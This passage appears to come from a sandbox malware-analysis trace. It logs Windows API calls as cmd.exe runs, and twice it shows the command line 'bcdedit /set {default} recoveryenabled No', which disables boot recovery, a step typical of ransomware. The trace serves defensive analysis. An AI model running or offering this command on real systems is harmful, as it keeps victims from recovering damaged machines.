() returned 0x76be31fc [0038.556] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0038.557] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0038.557] GetCurrentThreadId () returned 0x9d8 [0038.557] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9d8) returned 0x60 [0038.557] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.557] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0038.557] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.557] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.557] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3dfaac | out: phkResult=0x3dfaac*=0x0) returned 0x2 [0038.558] VirtualQuery (in: lpAddress=0x3dfae3, lpBuffer=0x3dfa7c, dwLength=0x1c | out: lpBuffer=0x3dfa7c*(BaseAddress=0x3df000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.558] VirtualQuery (in: lpAddress=0x2e0000, lpBuffer=0x3dfa7c, dwLength=0x1c | out: lpBuffer=0x3dfa7c*(BaseAddress=0x2e0000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0038.558] VirtualQuery (in: lpAddress=0x2e1000, lpBuffer=0x3dfa7c, dwLength=0x1c | out: lpBuffer=0x3dfa7c*(BaseAddress=0x2e1000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0038.558] VirtualQuery (in: lpAddress=0x2e3000, lpBuffer=0x3dfa7c, dwLength=0x1c | out: lpBuffer=0x3dfa7c*(BaseAddress=0x2e3000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.558] VirtualQuery (in: lpAddress=0x3e0000, lpBuffer=0x3dfa7c, dwLength=0x1c | out: lpBuffer=0x3dfa7c*(BaseAddress=0x3e0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0038.558] GetConsoleOutputCP () returned 0x1b5 [0038.558] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.560] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0038.561] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.561] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0038.561] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.561] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0038.561] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.561] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.561] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.561] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0038.561] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.562] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0038.562] GetEnvironmentStringsW () returned 0x462030* [0038.562] GetProcessHeap () returned 0x450000 [0038.562] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x462b08 [0038.562] FreeEnvironmentStringsW (penv=0x462030) returned 1 [0038.562] GetProcessHeap () returned 0x450000 [0038.562] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4) returned 0x460c60 [0038.562] GetEnvironmentStringsW () returned 0x462030* [0038.562] GetProcessHeap () returned 0x450000 [0038.562] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x4635e0 [0038.562] FreeEnvironmentStringsW (penv=0x462030) returned 1 [0038.562] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3dea1c | out: phkResult=0x3dea1c*=0x68) returned 0x0 [0038.562] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x0, lpData=0x3dea28*=0x0, lpcbData=0x3dea20*=0x1000) returned 0x2 [0038.562] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x4, lpData=0x3dea28*=0x1, lpcbData=0x3dea20*=0x4) returned 0x0 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x0, lpData=0x3dea28*=0x1, lpcbData=0x3dea20*=0x1000) returned 0x2 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x4, lpData=0x3dea28*=0x0, lpcbData=0x3dea20*=0x4) returned 0x0 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x4, lpData=0x3dea28*=0x40, lpcbData=0x3dea20*=0x4) returned 0x0 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x4, lpData=0x3dea28*=0x40, lpcbData=0x3dea20*=0x4) returned 0x0 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x0, lpData=0x3dea28*=0x40, lpcbData=0x3dea20*=0x1000) returned 0x2 [0038.563] RegCloseKey (hKey=0x68) returned 0x0 [0038.563] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3dea1c | out: phkResult=0x3dea1c*=0x68) returned 0x0 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x0, lpData=0x3dea28*=0x40, lpcbData=0x3dea20*=0x1000) returned 0x2 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x4, lpData=0x3dea28*=0x1, lpcbData=0x3dea20*=0x4) returned 0x0 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x0, lpData=0x3dea28*=0x1, lpcbData=0x3dea20*=0x1000) returned 0x2 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x4, lpData=0x3dea28*=0x0, lpcbData=0x3dea20*=0x4) returned 0x0 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x4, lpData=0x3dea28*=0x9, lpcbData=0x3dea20*=0x4) returned 0x0 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x4, lpData=0x3dea28*=0x9, lpcbData=0x3dea20*=0x4) returned 0x0 [0038.563] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3dea24, lpData=0x3dea28, lpcbData=0x3dea20*=0x1000 | out: lpType=0x3dea24*=0x0, lpData=0x3dea28*=0x9, lpcbData=0x3dea20*=0x1000) returned 0x2 [0038.563] RegCloseKey (hKey=0x68) returned 0x0 [0038.563] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1c [0038.563] srand (_Seed=0x5e423e1c) [0038.563] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} recoveryenabled No" [0038.563] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} recoveryenabled No" [0038.564] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.063] GetProcessHeap () returned 0x450000 [0039.063] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x462030 [0039.064] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x462038, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0039.064] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.064] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.064] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.064] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0039.064] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0039.064] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0039.064] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0039.064] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0039.064] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0039.064] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0039.064] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0039.064] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0039.064] GetProcessHeap () returned 0x450000 [0039.064] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462b08 | out: hHeap=0x450000) returned 1 [0039.064] GetEnvironmentStringsW () returned 0x462248* [0039.064] GetProcessHeap () returned 0x450000 [0039.064] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xae2) returned 0x464ba8 [0039.065] FreeEnvironmentStringsW (penv=0x462248) returned 1 [0039.065] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.065] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.065] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0039.065] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0039.065] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0039.065] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0039.065] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0039.065] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0039.065] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0039.065] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0039.065] GetProcessHeap () returned 0x450000 [0039.065] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x54) returned 0x465698 [0039.065] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3df7e8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3df7e8, lpFilePart=0x3df7e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3df7e4*="Desktop") returned 0x25 [0039.065] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.065] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3df564 | out: lpFindFileData=0x3df564*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x461eb0 [0039.065] FindClose (in: hFindFile=0x461eb0 | out: hFindFile=0x461eb0) returned 1 [0039.066] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3df564 | out: lpFindFileData=0x3df564*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x461eb0 [0039.066] FindClose (in: hFindFile=0x461eb0 | out: hFindFile=0x461eb0) returned 1 [0039.066] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0039.066] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3df564 | out: lpFindFileData=0x3df564*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x461eb0 [0039.066] FindClose (in: hFindFile=0x461eb0 | out: hFindFile=0x461eb0) returned 1 [0039.066] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.066] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0039.066] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0039.066] GetProcessHeap () returned 0x450000 [0039.066] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464ba8 | out: hHeap=0x450000) returned 1 [0039.066] GetEnvironmentStringsW () returned 0x4640b8* [0039.066] GetProcessHeap () returned 0x450000 [0039.066] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb36) returned 0x465ef8 [0039.066] FreeEnvironmentStringsW (penv=0x4640b8) returned 1 [0039.066] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.066] GetProcessHeap () returned 0x450000 [0039.066] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x465698 | out: hHeap=0x450000) returned 1 [0039.067] GetProcessHeap () returned 0x450000 [0039.067] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400e) returned 0x466a38 [0039.067] GetProcessHeap () returned 0x450000 [0039.067] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x60) returned 0x462d88 [0039.067] GetProcessHeap () returned 0x450000 [0039.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466a38 | out: hHeap=0x450000) returned 1 [0039.067] GetConsoleOutputCP () returned 0x1b5 [0039.067] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0039.067] GetUserDefaultLCID () returned 0x409 [0039.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0039.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3df928, cchData=128 | out: lpLCData="0") returned 2 [0039.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3df928, cchData=128 | out: lpLCData="0") returned 2 [0039.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3df928, cchData=128 | out: lpLCData="1") returned 2 [0039.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0039.068] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0039.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0039.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0039.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0039.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0039.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0039.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0039.069] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0039.069] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0039.069] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0039.070] GetProcessHeap () returned 0x450000 [0039.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20c) returned 0x462df0 [0039.070] GetConsoleTitleW (in: lpConsoleTitle=0x462df0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.070] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0039.070] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0039.070] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0039.070] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0039.071] GetProcessHeap () returned 0x450000 [0039.071] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x466a38 [0039.071] GetProcessHeap () returned 0x450000 [0039.071] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466a38 | out: hHeap=0x450000) returned 1 [0039.071] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0039.071] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0039.071] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0039.071] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0039.071] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0039.072] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0039.072] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0039.072] GetProcessHeap () returned 0x450000 [0039.072] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x463008 [0039.072] GetProcessHeap () returned 0x450000 [0039.072] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x463068 [0039.072] GetProcessHeap () returned 0x450000 [0039.072] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4e) returned 0x463088 [0039.073] GetConsoleTitleW (in: lpConsoleTitle=0x3df620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.073] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0039.073] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0039.073] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0039.073] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0039.073] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0039.074] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0039.074] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0039.074] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0039.074] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0039.074] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0039.074] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0039.074] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0039.074] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0039.074] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0039.074] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0039.074] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0039.074] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0039.074] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0039.074] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0039.074] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0039.074] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0039.074] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0039.074] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0039.074] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0039.074] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0039.074] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0039.074] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0039.074] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0039.074] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0039.074] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0039.074] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0039.074] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0039.074] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0039.074] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0039.074] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0039.074] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0039.074] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0039.074] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0039.074] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0039.074] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0039.074] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0039.074] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0039.075] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0039.075] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0039.075] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0039.075] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0039.075] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0039.075] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0039.075] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0039.075] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0039.075] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0039.075] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0039.075] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0039.075] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0039.075] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0039.075] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0039.075] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0039.075] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0039.075] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0039.075] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0039.075] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0039.075] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0039.075] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0039.075] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0039.075] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0039.075] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0039.075] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0039.075] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0039.075] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0039.075] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0039.075] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0039.075] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0039.075] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0039.075] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0039.075] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0039.075] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0039.075] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0039.075] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0039.076] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0039.076] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0039.076] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0039.076] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0039.076] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0039.076] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0039.076] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0039.076] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0039.076] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0039.076] GetProcessHeap () returned 0x450000 [0039.076] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x4630e0 [0039.076] GetProcessHeap () returned 0x450000 [0039.076] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x5e) returned 0x4632f8 [0039.076] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0039.076] GetProcessHeap () returned 0x450000 [0039.076] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x418) returned 0x4507f0 [0039.076] SetErrorMode (uMode=0x0) returned 0x0 [0039.077] SetErrorMode (uMode=0x1) returned 0x0 [0039.077] GetFullPathNameW (in: lpFileName=".", 